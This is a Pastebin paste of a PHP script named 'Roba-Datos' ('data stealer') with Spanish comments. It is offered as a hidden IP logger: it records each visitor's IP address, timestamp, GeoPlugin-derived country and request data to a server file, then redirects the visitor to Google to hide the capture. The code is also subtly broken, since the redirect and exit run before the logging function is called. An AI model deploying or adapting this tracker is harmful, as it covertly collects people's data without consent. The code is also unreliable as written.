Advertisement
EXTREMEXPLOIT

Roba-Datos

Sep 26th, 2018
331
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.12 KB | None | 0 0
  1. <?php
  2. //Código PHP de EXTREMEXPLOIT, para obtener información de los usuarios que hacen click en este PHP, luego manda a una otra web.
  3.  
  4.     {
  5.     //Página Web donde te mandará automáticamente...
  6.     header("Location: https://www.google.com");
  7.     exit;
  8.     }
  9.     write_visita ();
  10.  
  11.     function write_visita (){
  12.  
  13.         //Aqui debes añadir la ubicación donde se guardarán los datos en tu servidor.
  14.         $archivo="IP/File.txt";
  15.  
  16.         //Introduce tu IP para que no la guarde.
  17.         $ip="Tu.IP";
  18.         $new_ip=get_client_ip();
  19.  
  20.         if ($new_ip!==$ip){
  21.             $now = new DateTime();
  22.  
  23.        
  24.  
  25.         if (!$_GET) {
  26.             $datos="*POST: ".$_POST;
  27.  
  28.         }
  29.         else
  30.         {
  31.        
  32.             $peticion = explode('/', $_GET['PATH_INFO']);
  33.             $datos=str_pad($peticion[0],10).' '.$peticion[1];  
  34.         }
  35.         $txt =  str_pad($new_ip,25). " ".
  36.                 str_pad($now->format('Y-m-d H:i:s'),25)." ".
  37.                 str_pad(ip_info($new_ip, "Country"),25)." ".json_encode($datos);
  38.  
  39.         $myfile = file_put_contents($archivo, $txt.PHP_EOL , FILE_APPEND);
  40.         }
  41.     }
  42.  
  43.  
  44.     //Obtiene la IP del usuario...
  45.     function get_client_ip() {
  46.         $ipaddress = '';
  47.         if (getenv('HTTP_CLIENT_IP'))
  48.             $ipaddress = getenv('HTTP_CLIENT_IP');
  49.         else if(getenv('HTTP_X_FORWARDED_FOR'))
  50.             $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
  51.         else if(getenv('HTTP_X_FORWARDED'))
  52.             $ipaddress = getenv('HTTP_X_FORWARDED');
  53.         else if(getenv('HTTP_FORWARDED_FOR'))
  54.             $ipaddress = getenv('HTTP_FORWARDED_FOR');
  55.         else if(getenv('HTTP_FORWARDED'))
  56.            $ipaddress = getenv('HTTP_FORWARDED');
  57.         else if(getenv('REMOTE_ADDR'))
  58.             $ipaddress = getenv('REMOTE_ADDR');
  59.         else
  60.             $ipaddress = 'UNKNOWN';
  61.         return $ipaddress;
  62.     }
  63.  
  64.  
  65.     //Extrae información de la IP mediante una API... (GeoPlugin)
  66.  
  67.     function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
  68.         $output = NULL;
  69.         if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
  70.             $ip = $_SERVER["REMOTE_ADDR"];
  71.             if ($deep_detect) {
  72.                 if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
  73.                     $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  74.                 if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
  75.                     $ip = $_SERVER['HTTP_CLIENT_IP'];
  76.             }
  77.         }
  78.         $purpose    = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
  79.         $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
  80.         $continents = array(
  81.             "AF" => "Africa",
  82.             "AN" => "Antarctica",
  83.             "AS" => "Asia",
  84.             "EU" => "Europe",
  85.             "OC" => "Australia (Oceania)",
  86.             "NA" => "North America",
  87.             "SA" => "South America"
  88.         );
  89.         if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
  90.             $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
  91.             if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
  92.                 switch ($purpose) {
  93.                     case "location":
  94.                         $output = array(
  95.                             "city"           => @$ipdat->geoplugin_city,
  96.                             "state"          => @$ipdat->geoplugin_regionName,
  97.                             "country"        => @$ipdat->geoplugin_countryName,
  98.                             "country_code"   => @$ipdat->geoplugin_countryCode,
  99.                             "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
  100.                             "continent_code" => @$ipdat->geoplugin_continentCode
  101.                         );
  102.                         break;
  103.                     case "address":
  104.                         $address = array($ipdat->geoplugin_countryName);
  105.                         if (@strlen($ipdat->geoplugin_regionName) >= 1)
  106.                             $address[] = $ipdat->geoplugin_regionName;
  107.                         if (@strlen($ipdat->geoplugin_city) >= 1)
  108.                             $address[] = $ipdat->geoplugin_city;
  109.                         $output = implode(", ", array_reverse($address));
  110.                         break;
  111.                     case "city":
  112.                         $output = @$ipdat->geoplugin_city;
  113.                         break;
  114.                     case "state":
  115.                         $output = @$ipdat->geoplugin_regionName;
  116.                         break;
  117.                     case "region":
  118.                         $output = @$ipdat->geoplugin_regionName;
  119.                         break;
  120.                     case "country":
  121.                         $output = @$ipdat->geoplugin_countryName;
  122.                         break;
  123.                     case "countrycode":
  124.                         $output = @$ipdat->geoplugin_countryCode;
  125.                         break;
  126.                 }
  127.             }
  128.         }
  129.         return $output;
  130.     }
  131.  
  132. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement